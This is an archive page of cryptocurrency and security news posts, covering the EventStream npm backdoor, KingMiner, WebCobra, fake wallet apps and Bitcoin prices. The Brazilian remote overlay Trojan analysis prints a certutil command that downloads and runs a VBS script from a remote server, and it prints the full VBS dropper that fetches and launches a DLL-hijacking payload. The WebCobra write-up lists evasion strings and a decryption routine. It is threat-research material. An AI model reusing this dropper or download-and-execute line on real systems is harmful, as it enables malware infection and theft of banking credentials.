Category Archives: cryptocurrency

Online security predictions for 2019: From cryptojacking to MiTB attacks

‘2019 will in all likeliness be a year of new approaches to MiTB attacks, as hackers exploit known client-side vulnerabilities.’The breach of the personal accounts of Marriott International Hotel customers, as well

The post Online security predictions for 2019: From cryptojacking to MiTB attacks appeared first on The Cyber Security Place.

Popular JavaScript Library for Node.JS Infected With Malware to Empty Bitcoin Wallets

A version of a popular JavaScript library for Node.js contained malicious code for several months that enabled digital attackers to access users’ bitcoin wallets.

At the end of November, GitHub user Ayrton Sparling (aka FallingSnow) reported that someone had added malicious code to EventStream, a toolkit for Node.js that makes it easier for developers to create and work with data streams. The code became active in September when right9ctrl, the new owner of the library, published version 3.3.6 of EventStream. This version came with a dependency called flatmap-stream, which contained the malware.

The creator of flatmap-stream designed the module to steal bitcoin from Copay wallets, a wallet app designed by BitPay. The module then used Node Package Manager (NPM) to transfer the stolen bitcoins to a server located in Kuala Lumpur, Malaysia. NPM has since removed the backdoor.

According to Trend Micro, millions of developers downloaded the malicious code, since the module’s use of encryption enabled flatmap-stream to go undetected for more than two months.

Attacks Against Bitcoin Wallets on the Rise

Digital attackers aren’t new to the idea of stealing bitcoins out of users’ wallets. As reported by Carbon Black, these heists contributed to the loss of $1.1 billion in bitcoin during the first five months of 2018.

Some bad actors have also made a lot of money emptying cryptocurrency wallets. For instance, CoinDesk reported an attack that stole $78 million worth of bitcoin from the wallets of NiceHash, a cryptocurrency mining marketplace. News of this attack came less than a year after Cisco Talos uncovered CoinHoarder, a threat group that netted $50 million in three years by phishing blockchain.info users for access to their wallets.

How to Protect Against Cryptocurrency-Related Threats

Security professionals can help protect against bitcoin-related threats by training employees not to open suspicious emails designed to steal their credentials for cryptocurrency wallets and other accounts. They should also develop an endpoint security strategy built around artificial intelligence (AI) and machine learning to help defend against threats like crypto-mining malware.

Sources: Trend Micro, Carbon Black, CoinDesk, Cisco Talos

The post Popular JavaScript Library for Node.JS Infected With Malware to Empty Bitcoin Wallets appeared first on Security Intelligence.

MobileGo (MGO) Is Up More Than 40% Since Thanksgiving

The last few weeks have been an extremely challenging time for crypto enthusiasts.  Major coins like Bitcoin (BTC) and Ethereum (ETH) have been demolished while many smaller alternative coins have done even worse.  Fortunately, there are still a few bright spots left in the market that traders may want to turn their attention toward.  One […]

The post MobileGo (MGO) Is Up More Than 40% Since Thanksgiving appeared first on Hacked: Hacking Finance.

The Simpler the Better? Looking Deeper Into the Malware Used in Brazilian Financial Cybercrime

In the first article of this two-part series, we covered recent infection and fraud tactics, techniques and procedures (TTPs) used against Brazilian internet users. In this second post, we’ll cover the analysis of a popular remote overlay Trojan used by financial cybercrime actors in Brazil.

Remote overlay malware is quite prolific and generic, and although it happens now and then, it is generally rare to find financial malware in Brazil that could be deemed special or sophisticated. So what’s special about this particular variant? To begin, the dynamic link library (DLL) hijacking technique is not very common, although we have seen it before in Brazil. More interestingly, it seems that the malware’s operators are no longer focused on banks alone; they are now also interested in stealing users’ cryptocurrency exchange accounts, which ties in well with the growing appetite financial cybercrime has for cryptocurrency in Brazil.

Compromising Brazilian Users One Remote Session at a Time

IBM X-Force research follows the Brazilian threat landscape on an ongoing basis. In recent analyses, our team observed a new malware variant from the remote overlay family infecting users in the region.

Remote overlay Trojans are very common among Brazilian fraudsters who target local users. A recent generic variant we analyzed is able to remotely control infected devices using a DLL hijacking technique to load its malicious code into a legitimate binary file of a free antivirus program.

The malicious DLL, which is written in the Delphi programming language typical of Brazilian malware, contains overlay images that the malware plasters over the screen after an infected user authenticates an online banking session. The screens are made to match the look and feel of the victim’s bank and trick victims into providing personal information and two-factor authentication (2FA) elements.

Read the white paper: Preserving trust in digital financial services

Rising Interest in Cryptocurrency

Cryptocurrency trading accounts are becoming more popular than traditional brokerage accounts in Brazil — a trend that local fraudsters are likely familiar with and poised to exploit.

Variants we analyzed in recent campaigns against the major banks in Brazil also targeted cryptocurrency exchange platforms. The attack method is similar to how banks are targeted: by stealing the user’s account credentials, taking over their account and transferring their money to the criminals’ accounts.

A Typical Infection Routine

A look into the infection routine of this remote overlay Trojan shows that the initial compromise happens when a potential victim is lured into downloading what he or she believes to be an official invoice. The file is an archive that harbors the malicious scripts that will ultimately infect the device. Below is a summary of the typical infection tactic:

  1. The victim uses a search engine to find his or her provider’s website and pay a monthly invoice. Instead of the genuine website, the first result is a malicious page that attackers have boosted with paid efforts. The victim accesses that page and keys in his or her identification details to fetch the invoice.
  2. The victim unknowingly downloads a malicious LNK file — a Windows shortcut file — archived inside a ZIP file purporting to be from DETRAN, the ministry of transportation in Brazil.
  3. The LNK file contains a command that will download a malicious Visual Basic (VBS) script from a remote server and run it with a legitimate Windows program, certutil.
  4. The malicious VBS script downloads an additional ZIP file from the attacker’s remote server, this time containing the malware’s malicious DLL payload as well as a legitimate binary file of a free antivirus program it will use to hide the DLL.
  5. The VBS script executes the malware, infecting the device.
  6. Once deployed, the Trojan uses a DLL hijacking technique to load its malicious DLL into the legitimate binary of the antivirus program. This roundabout infection routine helps the malware evade detection by security controls.
  7. After completing the installation, the malware monitors the victim’s browser and goes into action when the victim navigates to a targeted online banking website or cryptocurrency exchange platform.
  8. The malicious DLL component gives the malware its remote control capabilities.

Zooming In on the Malicious LNK File

A closer look at the LNK file reveals the way it abuses certutil, which is installed as part of Certificate Services.

First, the malicious script is downloaded from the remote server under the name “tudodebom”:

“C:\Windows\System32\cmd.exe /V /C certutil.exe -urlcache -split -f “https://remoteserver/turbulencianoar/tudodebom.txt” %temp%\tudodebom.txt && cd %temp% && rename “tudodebom.txt
  • -urlcache displays or deletes URL cache entries.
  • -split -f forces fetching of a specific URL and updating of the cache.

Once retrieved, the malware changes the file’s name and extension from “tudodebom.txt” to “JNSzlEYAIubkggX.vbs”:

“JNSzlEYAIubkggX.vbs” && C:\windows\system32\cmd.exe /k JNSzlEYAIubkggX.vbs

The LNK file invokes the Windows command line (CMD) and executes certutil.exe to download a TXT file (.vbs) from a remote host:

hXXps://remoteserver/turbulencianoar/tudodebom.txt

Lastly, the malware executes the malicious VBS script.

Examining the VBS Script

The VBS script downloads the ZIP archive containing the malware payload. It then deploys it on the victim’s device in a directory with the following naming pattern:

“C:\AV product_” + RandomName + “\”

After that process is complete, the script executes the legitimate, but poisoned, binary that will load the malicious DLL and start a connection to the attacker’s command and control (C&C) server.

Interesting elements in this routine include:

  • The use of legitimate remote servers to host attack tools;
  • The abuse of a legitimate binary from an existing antivirus program to hide the malware’s DLL; and
  • The naming convention of the malware, which can make the malware easier to detect and quarantine on infected devices.

Upon analyzing the malware, we found the VBS script that the Trojan uses to deploy its malicious DLL to contain the following:

Dim ubase, randname, exerandom, deffolder, filesuccess, filezip, fileexe, filedll

Set objShell = CreateObject( “WScript.Shell” )

ubase = “https://remoteserver/turbulencianoar/AuZwaaU.zip”

randname = getrandomstring()

exerandom = “AV product.SystrayStartTrigger-” + randname

filezip = “AuZwaaU.zip”

deffolder = “C:\AV product_” + randname + “\”

filesuccess = objShell.ExpandEnvironmentStrings(“%TEMP%”) + “\java_install.log”

fileexe = “AuZwaaU.exe”

filedll = “AuZwaaU.sys”

Set objFSO = CreateObject(“Scripting.FileSystemObject”)

If (objFSO.FileExists(filesuccess)) Then

WScript.Quit

End If

If not (objFSO.FileExists(filezip)) Then

Set objFile = objFSO.CreateTextFile(filesuccess, True)

objFile.Write ” ”

objFile.Close

‘WScript.Echo msg

dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”)

dim bStrm: Set bStrm = createobject(“Adodb.Stream”)

xHttp.Open “GET”, ubase, False

xHttp.Send

with bStrm

.type = 1

.open

.write xHttp.responseBody

.savetofile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip, 2

end with

WScript.Sleep 5000

set objShellApp = CreateObject(“Shell.Application”)

set FilesInZip=objShellApp.NameSpace(objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip).items

objShellApp.NameSpace(objShell.ExpandEnvironmentStrings(“%TEMP%”)).CopyHere(FilesInZip)

WScript.Sleep 5000

objFSO.DeleteFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filezip

objFSO.CreateFolder deffolder

WScript.Sleep 3000

objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & fileexe, deffolder & exerandom & “.exe”

objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & filedll, deffolder & “AV product.OE.NativeCore.dll”

objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\msvcp120.sys”, deffolder & “msvcp120.dll”

objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\msvcr120.sys”, deffolder & “msvcr120.dll”

objFSO.MoveFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\LOG”, deffolder & “LOG”

WScript.Sleep 5000

Set objFSO = CreateObject(“Scripting.FileSystemObject”)

Set objShell = CreateObject( “WScript.Shell” )

outFile = objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat”

Set objFile = objFSO.CreateTextFile(outFile,True)

objFile.Write “@echo off” & vbCrLf

objFile.Write “@cd ” & deffolder & vbCrLf

objFile.Write “start ” & exerandom & “.exe” & vbCrLf

objFile.Close

objShell.Exec(objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat”)

WScript.Sleep 10000

objFSO.DeleteFile objShell.ExpandEnvironmentStrings(“%TEMP%”) & “\” & randname & “.bat”

Set objShell = Nothing

Set objFSO = Nothing

Set objShellApp = Nothing

End If

Function getrandomstring()

Dim intMax, k, intValue, strChar, strName

Const Chars = “abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

intMax = 6

Randomize()

strName = “”

For k = 1 To intMax

intValue = Fix(62 * Rnd())

strChar = Mid(Chars, intValue + 1, 1)

Randomize()

intValue = Fix(62 * Rnd())

strChar = strChar & Mid(Chars, intValue + 1, 1)

strName = strName & strChar

If (k < 6) Then

strName = strName & “”

End If

Next

getrandomstring = strName

End Function

Remote Overlay Images

Last but not least, the overlay images the malware hosts are no longer exclusive to banks. Our analysis shows that fraudsters in Brazil are just as interested in robbing users of their cryptocurrency.

To accomplish this goal, the threat actors have created a number of overlays to match platforms used in Brazil (we have censored the platform’s logo below). In each case, the attackers prompt the user to verify his or her email address and identity and confirms the user’s security with a fresh one-time password from their tokenization method.

Brazilian remote overlay Trojan

Figure 1: Fake overlay screen asks users to provide information about their identity.

Remote Overlay Brazilian Malware is after cryptocurrency

Figure 2: Fake overlay screen asks users to submit a token code.

Overlays for 2FA requests match the targeted platform’s preference of user authentication elements and include single sign-on (SSO) from email and social accounts:

Brazilian Remote Overlay Malware Asks for SSO

Figure 3: Fake overlay screen asks infected users to use SSO authentication from their webmail/social accounts.

Mitigate Financial Cybercrime Risks

Malware in Brazil is one of the most prolific tactics used by cybercriminals to defraud internet users. Although infection rates can be high for campaigns due to the large number of users affected by each attack, the risks can be mitigated with continued user education and by placing the right controls on user devices to help protect against malware.

Read the white paper: Preserving trust in digital financial services


The post The Simpler the Better? Looking Deeper Into the Malware Used in Brazilian Financial Cybercrime appeared first on Security Intelligence.

Are Crypto News Sites Allowing Freedom Of Thought?

As the interest in cryptocurrencies has exploded during the past couple years, crypto news sites have been on the rise.  These sites are quickly becoming an invaluable resource for traders who enjoy learning about new crypto projects and trade ideas.  The content distributed through these platforms is typically created by a combination of full-time staff […]

The post Are Crypto News Sites Allowing Freedom Of Thought? appeared first on Hacked: Hacking Finance.

KingMiner Maxes Out Windows Server CPUs in Widespread Cryptomining Campaign

Researchers spotted a new cryptomining threat conducting brute-force attacks using 100 percent of Internet Information Services IIS/Structured Query Language (SQL) Microsoft Windows servers’ compute resources.

The malware, called KingMiner, is designed not to steal information but to harvest cryptocurrencies such as Monero, which require considerable processing power to crunch through the mathematical calculations behind them, according to researchers at Check Point.

KingMiner was first discovered this past June, but it has since spawned a new variant with even stronger cryptomining features that is now active in the wild.

Cryptomining Campaign Drains CPUs

Once it identifies its target, KingMiner attempts to guess the system’s password, then downloads and executes a Windows scriptlet file. In some cases, the malware is already active on the system, in which case the new version kills off its predecessor. Israel, Norway, Mexico and India are among the locations where the cryptomining campaign has successfully infected Windows machines, according to the researchers.

KingMiner uses a file called XMRig to mine Monero. Although it was designed to use up only 75 percent of a victim’s machine, in practice, it drains the entire capacity of the central processing unit (CPU) due to coding errors.

The cybercriminals behind KingMiner also take pains to avoid detection. By avoiding any public mining pools with its cryptocurrency wallet and turning off the application programming interface (API), for instance, it’s difficult to know how much Monero it has harvested so far. Emulation attempts, meanwhile, are bypassed through an XML file that has been disguised as a ZIP file within the payload. Additional evasion techniques include exporting functions and adding content to the executable’s dynamic link library (DLL) files.

How to Keep Cryptomining Malware at Bay

The researchers noted that KingMiner is likely to continue its evolution based on placeholders they found in the code for future updates and versions.

Cybercriminals are increasingly interested in mining cryptocurrency it requires less social engineering and malware can run quietly in the background. Eliminating threats such as KingMiner depends on widespread adoption of security information and event management (SIEM) technology and improved network endpoint protection.

Source: Check Point

The post KingMiner Maxes Out Windows Server CPUs in Widespread Cryptomining Campaign appeared first on Security Intelligence.

4 Reasons Why Traders Shouldn’t Miss Out On ABCC Exchange

As most crypto traders are aware, 2018 has been a bloodbath beyond anyone’s wildest imagination.  Most, if not all, gains from 2017 have been wiped out.  And while the pain will certainly end at some point, it’s unclear when that will be.  But as Harvey Dent famously said in The Dark Knight, “the night is […]

The post 4 Reasons Why Traders Shouldn’t Miss Out On ABCC Exchange appeared first on Hacked: Hacking Finance.

Bitcoin Had a Big 15% Bounce to $4,300 But Traders Aren’t Convinced of Bull Run

Over the past 24 hours, the price of Bitcoin (BTC) surged from $3,771 to $4,355, by more than 15.4 percent, against the U.S. dollar. The volume of the dominant cryptocurrency spiked from around $5 billion to $7.2 billion, as large buy orders were filled by major fiat-to-cryptocurrency exchanges like Coinbase and Bitstamp. Bitcoin recorded the […]

The post Bitcoin Had a Big 15% Bounce to $4,300 But Traders Aren’t Convinced of Bull Run appeared first on Hacked: Hacking Finance.

Bitcoin price falls below $4,000, as cryptocurrency market continues to plummet

Bitcoin price falls below $4,000

Bitcoin (BTC), the number 1 ranked cryptocurrency, hit a 14-month fresh low over the weekend when its price sunk under $4,000, according to CoinDesk.

The last time when Bitcoin price fell below $4,000 was in September 2017. Other cryptocurrency tokens like ether and Litecoin too suffered double-digit percentage drops within a 24-hour period.

Bitcoin, also known as a highly-volatile currency, had one of the worst prices drop last week since its bubble burst at the start of this year.

It’s price when particularly dropped to $3,667.92 represented a loss of 15.5% and its lowest in the last 24 hours. Bitcoin lost nearly a third of its value in seven days, which was down more than 35 percent.

According to CoinDesk, the market was valued at $182 billion, but that number has since fallen to $54 billion, and it now stands at $128 billion, its lowest value since September 2017.

During December 2017, the Bitcoin price had reached a golden phase when it touched the $20,000 threshold.

However, earlier this year, the value of Bitcoin dropped below $8,000, as the global cryptocurrency landscape shifted. In fact, till last month, prices were hovering around the $6,000 point.

As we can see, the price of Bitcoin has been seeing a downward trend over the last 11 months. Will the value of Bitcoin continues to fall further or will it be able to recover from its downfall, remains to be seen.

The post Bitcoin price falls below $4,000, as cryptocurrency market continues to plummet appeared first on TechWorm.

Ethereum Vulnerability Allowed Minting GasToken To Sweep Crypto Exchanges

A recently discovered Ethereum vulnerability could have allowed hackers to drain a huge amount of money from crypto exchanges. The

Ethereum Vulnerability Allowed Minting GasToken To Sweep Crypto Exchanges on Latest Hacking News.

Man arrested for stealing $1m from Silicon Valley Exec via SIM-swapping

By ghostadmin

A 21-year old Manhattan resident has been accused of SIM-swapping the mobile number of Robert Ross, a Silicon Valley executive, and managed to steal $1 million. The accused, Nicholas Truglia, not only targeted Ross’s phone number with SIM-swapping attacks but many others too including 0Chain CEO Saswatu Basu, co-founder, and COO of SMX (Small & […]

This is a post from HackRead.com Read the original post: Man arrested for stealing $1m from Silicon Valley Exec via SIM-swapping

Mac users using Exodus cryptocurrency wallet targeted by a small spam campaign

Security researchers at F-Secure have recently uncovered a small spam campaign aimed at delivering spyware to Mac users that use Exodus wallet.

Security experts at F-Secure have recently spotted a small spam campaign aimed at Mac users that use Exodus cryptocurrency wallet.

The campaign leverages Exodus-themed phishing messages using an attachment named “Exodus-MacOS-1.64.1-update.zip.”  The messages were sent by accounts associated with the domain “update-exodus[.]io”, the attackers used it to trick victims into believing that it was a legitimate domain used by the Exodus organization.

The malware poses itself as a fake Exodus update, it is using the subject “Update 1.64.1 Release – New Assets and more”. Experts pointed out that the latest released version for Exodus is 1.63.1.

exodus update phishing message

The zip archive includes an application created earlier this month that contains a mach-O binary with the filename “rtcfg”.The researchers analyzed the code and found several strings and references to the “realtime-spy-mac[.]com” website, a cloud-based remote spy software for Mac systems.
“From the website, the developer described their software as a cloud-based surveillance and remote spy tool. Their standard offering costs $79.95 and comes with a cloud-based account where users can view the images and data that the tool uploaded from the target machine.” states the blog post published by F-Secure. “The strings that was extracted from the Mac binary from the mail spam coincides with the features mentioned in the realtime-spy-mac[.]com tool.”
Experts searching for similar instances of the Mac keylogger in the F-Secure repository and found other applications, including taxviewer.app, picupdater.app, macbook.app, and launchpad.app.

“Based on the spy tool’s website, it appears that it does not only support Mac, but Windows as well. ” concludes F-Secure. “It’s not the first time that we’ve seen Windows threats target Mac. As the crimeware threat actors in Windows take advantage of the cryptocurrency trend, they too seem to want to expand their reach, thus also ended up targeting Mac users.”

Further details about the campaign, including IoCs are reported in the analysis published by F-Secure.

Pierluigi Paganini

(Security Affairs – Exodus wallet, spam)

The post Mac users using Exodus cryptocurrency wallet targeted by a small spam campaign appeared first on Security Affairs.

This Week in Security News: Holiday Cybercriminals & Cryptomining Malware

Welcome to our weekly roundup, where we share what you need to know about the cybersecurity news and events that happened over the past few days. This week, learn the common threats and the best practices for defending against cybercriminals during November’s online shopping season. Also, see the different cryptomining malware affecting Linux systems and learn what security tools are needed to defend against these threats.

Read on:

Cryptocurrency Mining Malware uses Various Evasion Techniques, Including Windows Installer, as Part of its Routine

The evolving aspect of cryptocurrency mining malware — constantly adding evasion techniques — means that powerful security tools are often needed to defend users from these kinds of threats. 

Researchers Earn Thousands for Exposing Mobile Device Exploits at Pwn2Own

Security researchers competing in the Pwn2Own Tokyo competition earned a collective $325,000 for demonstrating new exploits on devices made by Samsung, Xiaomi and Apple.

Cryptocurrency-mining Malware Targets Linux Systems, Uses Rootkit for Stealth

Trend Micro recently encountered a cryptocurrency-mining malware affecting Linux systems. It is notable for hiding the malicious process’ presence from monitoring tools.  

House Passes Final Version of Bill Creating Cyber Agency at DHS, Sends Measure to President

The U.S. House of Representatives gave unanimous approval to create a stand-alone cybersecurity agency at the Department of Homeland Security, and sent the bill to President Trump for his signature.

When Cybercriminals Hitch On Your Holiday Spending: Online Shopping Trends and Threats

November is expected to see the bulk of 2018 online traffic and spending. Learn the common threats and the best practices for defending against cybercriminals during this online shopping season. 

Russian Hackers Largely Skipped the Midterms, and No One Really Knows Why

After unleashing cyberattacks on the U.S. during the 2016 presidential election, Russia’s hackers mostly appeared to have sat on the sidelines during the campaign ahead of last week’s midterm elections.

Using Machine Learning to Cluster Malicious Network Flows From Gh0st RAT Variants

To address the growing number of network threats and keep abreast with the changing sophistication of network intrusion methods, Trend Micro looks into network flow clustering. 

More than 50 Nations, but not U.S., Sign onto Cybersecurity Pact

At the Paris Peace Forum, an international agreement on cybersecurity principles earned signatures from over 50 nations, 130 private sector groups and 90 charitable groups, but not the U.S., Russia or China.

Hide and Script: Inserted Malicious URLs within Office Documents’ Embedded Videos

In late October, security researchers showed from Cymulate showed a PoC exploiting a logic bug that could allow hackers to abuse the online video feature in Microsoft Office to deliver malware.

Firefox Warns if the Website You’re Visiting Suffered a Data Breach

The Firefox Monitor service warns you if your account was among the hundreds of millions affected by data breaches at sites like Yahoo, LinkedIn and Equifax.

The Importance of Employee Cybersecurity Training: Top Strategies and Best Practices

With robust employee user training that helps drive home the importance of a staffer’s role in the overall data protection and cybersecurity landscape, businesses can reduce the risk of a digital attacker.

As cryptomining malware evolves, do you think more users will be prepared to defend against these threats in 2019? Why or why not? Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.

The post This Week in Security News: Holiday Cybercriminals & Cryptomining Malware appeared first on .

Report: Small, Stealthy Groups Behind Worst Cybercrimes

A small group of cybercriminals are responsible for the most damaging cyberattacks--often with the help of state sponsorship. Still, low-level criminal activity on the dark web still poses the most widespread and immediate security threat, with cryptocurrency mining, ransomware and malware all on the rise, a recent report has found.

The post ...

Read the whole entry... »

Related Stories

Cryptocurrency fraud is the exception, not the rule

In recent months, cryptocurrencies like Bitcoin and Ethereum have begun to develop a bad name. The fact that ransomware typically demands payment in Bitcoin has helped to create negative associations for the brand.

Then there are the rapidly fluctuating exchange rates that look like deliberate attempts to manipulate the market. “Pump and dump” is a known tactic used by unscrupulous investors to temporarily increase the value of their holdings before selling them off for maximum value.

And the reality is that scammers and hackers are working the system to perpetuate fraud.

The headlines are only part of the story

Much of the problem with cryptocurrencies is that regulation still lags behind traditional currencies. National banks, like the Federal Reserve or the European Central Bank, have not yet decided how best to deal with cryptocurrency – or how to protect people using them.

This lack of consistency, and the perceived privacy offered by cryptocurrencies is the reason that criminals are so attracted to the system. So much so that cryptocurrency scams are now the second most common investment scam in Australia for instance.

Crime sells newspapers, so it is little surprise that the media is quick to publicise instances of fraud. But in the same way that most online transactions made using traditional currencies are perfectly legitimate, so too are cryptocurrency transactions. Fraud remains a small part of the bigger cryptocurrency picture, even if the media headlines suggest otherwise.

Digging into the statistics proves this to be the case. Take the Australian example. In 2017, there was a total of 200,000 scam reports submitted to the Australian Competition and Consumer Commission – the government body that enforces consumer protection law. The accumulated losses from these scams was AUD $340 million – a fairly large number for a country of 25 million people.

But when you drill down into those figures, just AUD $2.1 million of those losses were attributed to cryptocurrency fraud. Less than 1% of all reported fraud in Australia was cryptocurrency related.

On a worldwide scale however, Bitcoin estimate that $3.25 billion will be lost to fraud.

A serious problem for the unprepared

Like any other currency, cryptocurrencies can be risky for the unprepared. Before jumping on the Bitcoin bandwagon, you must understand what it is for, how it is used, and the common scams you need to avoid.

At the front end, always be suspicious of “get rich quick” schemes. These systems can be very profitable – for the scammer running them. You should always check anything that sounds too good to be true. Similarly, check that websites maintain the same level of security as any other online store before making a cryptocurrency payment.

One other thing to bear in mind – virtual wallets. Virtual wallets are used to securely store your cryptocurrency on your computer. If the wallet is compromised or stolen, your cryptocurrency goes with it.

Hackers will try and steal digital wallets, so it is vital that your computer is properly secured. You must install robust anti-malware, like Panda Dome, on your computer to identify and block unauthorised attempts to access your wallet and its contents.

Bitcoin is one of the biggest scams in centuries, like the one the world has never seen and we are only at the beginning of this history. Bitcoin scams have been famously criminal and public in nature. The bottom line is scammers also want to profit somehow from Bitcoin, but through nefarious means. This typically involves targeting unprepared victims, who end up losing their Bitcoin as a result, we need to know and make sure we don’t become the next victim“, explains Herve Lambert, Global Consumer Operations Manager at Panda Security.

For most people, cryptocurrency is not yet an issue. But when you do decide to start using one, make sure that you are properly protected and you can avoid becoming one of the minority of people who become victims of scams.

Download your Antivirus

The post Cryptocurrency fraud is the exception, not the rule appeared first on Panda Security Mediacenter.

Canadian University Shuts Down Network in Response to Cryptocurrency Mining Attack

St. Francis Xavier University had to take its critical IT systems offline after it discovered a scheme to mine cryptocurrency using its network resources.

On Nov. 9, the school’s IT team identified an automated attack launched by unknown threat actors in an effort to steal computing power to mine cryptocurrency, otherwise known as cryptojacking.

After consulting with security specialists, the university, which is based in Nova Scotia, made the decision to disable all network systems. Representatives of the school announced plans to reinstate the offline servers across its network in stages to reduce potential security risks.

Why Did the University Shut Down Its Network?

So far, the university has reported no evidence that the personal information of students, faculty or other parties has been leaked or stolen as part of the attack. To be safe, however, administrators reset the passwords for all university accounts across campus. The IT team said it would continue to look for anomalous behavior over the next month.

The university’s swift response affected basic access to network resources such as Wi-Fi and educational software application Moodle. Meanwhile, student payment cards and debit transactions were temporarily inoperable. The school said it plans to publish a list of which services have been restored and which are still in the queue, such as its MesAmis reporting system and Banner database. The researchers did not explain exactly how the malware was installed on the system.

How to Keep Cryptocurrency Mining Threats at Bay

The St. Francis Xavier University incident is an increasingly rare example of cryptojackers focusing on bitcoin. According to security experts, general-purpose computers are not ideal for bitcoin given the sophisticated nature of its algorithm. Instead, attacks more often exploit IT resources to mine for newer cryptocurrencies such as Monero and Ethereum.

Regardless of what’s being mined, organizations that invest in security information and event management (SIEM) are better positioned to identify cryptojacking before it’s too late to remediate the threat without halting the entire network.

Sources: St. Francis Xavier, ZDNet

The post Canadian University Shuts Down Network in Response to Cryptocurrency Mining Attack appeared first on Security Intelligence.

Don’t fall for fake NEO, Tether and MetaMask cryptocurrency wallets on Google Play

Fake cryptocurrency wallets continue to creep their way into Google’s application store for Android aficionados, as one researcher has recently discovered.

Using his personal website, independent researcher Lukas Stefanko sounds the alarm over four new fake cryptocurrency wallets that trick users either into giving away their credentials, or impersonate legitimate cryptocurrency wallets.

“These threats imitate legitimate services for NEO, Tether and MetaMask. I reported these apps to Google security team and they were promptly removed,” writes Stefanko.

All four apps were built with the same ultimate purpose in mind, but they are of two distinct categories:

Phishing – where the malicious app requests the user’s private key and wallet password after launch (i.e the MetaMask app)

Fake wallets – Stefanko found two relatively identical NEO Wallet apps that fit into this category, as well as one Tether Wallet app

The post includes a detailed disclose of two of the fake wallets, a demonstration of the apps’ functionality, an example of legitimate VS fake wallets, a bit of code analysis and some tips on how to stay safe out there.

 

The more intriguing find, in Stefanko’s opinion, was the tool used to create these malicious applications.

“What concerns me the most is that these fake wallets were created using Drag-n-Drop app builder service without any coding knowledge required,” he writes, adding that “literally anyone can ‘develop’ [a] simple but effective malicious app either to steal credentials or impersonate [a] cryptocurrency wallet.”

The post also shows indicators of compromise (IoC) in the form of package names and hashes, as well as wallet addresses and the cryptocurrency associated with the respective address (Tether, NEO, NEO QR).

WebCobra Malware Uses Victims’ Computers to Mine Cryptocurrency

The authors thank their colleagues Oliver Devane and Deepak Setty for their help with this analysis.

McAfee Labs researchers have discovered new Russian malware, dubbed WebCobra, which harnesses victims’ computing power to mine for cryptocurrencies.

Coin mining malware is difficult to detect. Once a machine is compromised, a malicious app runs silently in the background with just one sign: performance degradation. As the malware increases power consumption, the machine slows down, leaving the owner with a headache and an unwelcome bill, as the energy it takes to mine a single bitcoin can cost from $531 to $26,170, according to a recent report.

The increase in the value of cryptocurrencies has inspired cybercriminals to employ malware that steals machine resources to mine crypto coins without the victims’ consent.

The following chart shows how the prevalence of miner malware follows changes in the price of Monero cryptocurrency.

Figure 1: The price of cryptocurrency Monero peaked at the beginning of 2018. The total samples of coin miner malware continue to grow. Source: https://coinmarketcap.com/currencies/monero/.

McAfee Labs has previously analyzed the cryptocurrency file infector CoinMiner; and the Cyber Threat Alliance, with major assistance from McAfee, has published a report, “The Illicit Cryptocurrency Mining Threat.” Recently we examined the Russian application WebCobra, which silently drops and installs the Cryptonight miner or Claymore’s Zcash miner, depending on the architecture WebCobra finds. McAfee products detect and protect against this threat.

We believe this threat arrives via rogue PUP installers. We have observed it across the globe, with the highest number of infections in Brazil, South Africa, and the United States.

Figure 2: McAfee Labs heat map of WebCobra infections from September 9–13.

This cryptocurrency mining malware is uncommon in that it drops a different miner depending on the configuration of the machine it infects. We will discuss that detail later in this post.

Behavior

The main dropper is a Microsoft installer that checks the running environment. On x86 systems, it injects Cryptonight miner code into a running process and launches a process monitor. On x64 systems, it checks the GPU configuration and downloads and executes Claymore’s Zcash miner from a remote server.

Figure 3: WebCobra’s installation window.

After launching, the malware drops and unzips a password-protected Cabinet archive file with this command:

Figure 4: The command to unzip the dropped file.

The CAB file contains two files:

  • LOC: A DLL file to decrypt data.bin
  • bin: Contains the encrypted malicious payload

The CAB file uses the following script to execute ERDNT.LOC:

Figure 5: The script to load the DLL file, ERDNT.LOC.

ERDNT.LOC decrypt data.bin and passes the execution flow to it with this routine:

  • [PlainText_Byte] = (([EncryptedData_Byte] + 0x2E) ^ 0x2E) + 0x2E

Figure 6: The decryption routine. 

The program checks the running environment to launch the proper miner, shown in the following diagram:

Figure 7: Launching the proper miner depending on a system’s configuration.

Once data.bin is decrypted and executed, it tries a few anti-debugging, anti-emulation, and anti-sandbox techniques as well as checks of other security products running on the system. These steps allow the malware to remain undetected for a long time.

Most security products hook some APIs to monitor the behavior of malware. To avoid being found by this technique, WebCobra loads ntdll.dll and user32.dll as data files in memory and overwrites the first 8 bytes of those functions, which unhooks the APIs.

List of unhooked ntdll.dll APIs

  • LdrLoadDll
  • ZwWriteVirtualMemory
  • ZwResumeThread
  • ZwQueryInformationProcess
  • ZwOpenSemaphore
  • ZwOpenMutant
  • ZwOpenEvent
  • ZwMapViewOfSection
  • ZwCreateUserProcess
  • ZwCreateSemaphore
  • ZwCreateMutant
  • ZwCreateEvent
  • RtlQueryEnvironmentVariable
  • RtlDecompressBuffer

List of unhooked user32.dll APIs

  • SetWindowsHookExW
  • SetWindowsHookExA

Infecting an x86 system

The malware injects malicious code to svchost.exe and uses an infinite loop to check all open windows and to compare each window’s title bar text with these strings. This is another check by WebCobra to determine if it is running in an isolated environment designed for malware analysis.

  • adw
  • emsi
  • avz
  • farbar
  • glax
  • delfix
  • rogue
  • exe
  • asw_av_popup_wndclass
  • snxhk_border_mywnd
  • AvastCefWindow
  • AlertWindow
  • UnHackMe
  • eset
  • hacker
  • AnVir
  • Rogue
  • uVS
  • malware

The open windows will be terminated if any of preceding strings shows in the windows title bar text.

Figure 8: Terminating a process if the windows title bar text contains specific strings.

Once the process monitor executes, it creates an instance of svchost.exe with the miner’s configuration file specified as an argument and injects the Cryptonight miner code.

